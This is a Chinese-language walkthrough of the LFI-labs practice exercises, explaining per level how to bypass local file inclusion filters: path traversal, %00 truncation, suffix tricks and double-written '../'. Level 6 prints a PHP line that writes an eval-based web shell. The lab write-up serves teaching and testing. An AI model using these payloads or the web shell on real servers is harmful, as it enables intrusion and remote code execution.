LFI-labs-master 通關筆記
LFI-1
第一個沒有任何過濾,直接是將我們的page參數包含 我們直接使用相對路徑“../../phpinfo.php” 包含我們想要執行的php文件即可。
LFI-2
第二關是將我們傳入的library參數 前面加了“includes/” 后面加了“.php” 可以采用00截斷后面的“.php”
我們用“../../../phpinfo.php”執行即可
LFI-3
第三關取文件最后面四位來判斷是不是.php 如果是的話就不給包含
繞過方法是在php后面加. “phpinfo.php.”或者“phpinfo.php/.” 因為在后綴名中 . / 等符號是不會識別的 在
LFI-4
第四關同樣末尾加了.php 前面加了“includes/class_” 還將變量用addslashes函數處理
采用“../../../../../phpinfo”通關(五個父路徑 去掉后綴名)
LFI-5
第五關將我們輸入的參數中的“../”過濾為空 我們可以雙寫進行繞過
補充知識:這里用include()函數處理$file ,include函數會識別文件中的php文件並解析。
對於![1598082833548]
file_get_contents()函數是僅僅將文件中的內容作為字符串形式展示。
LFI-6
第六關用POST形式傳參數 用page=../../../phpinfo.php 即可
對於要寫入木馬,不同於GET傳參,要用額外的方法寫入shell
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>');?>
//fputs(file,str)將字符串str寫入file
//fopen(file,w)打開文件file 如果沒有就新建一個 后面跟寫入內容/
后面的都是重復型的繞過,只不過是POST的。
總結一下:
- 我們可以直接包含絕對路徑文件如 c:\boot.ini,或者用../訪問上一級目錄(相對路徑)。
- 對后面自動添加了后綴 用%00可以截斷
- php. 或者 php/. 是和php 一樣的后綴 用於繞過
- ../被替換為空可以雙寫 繞過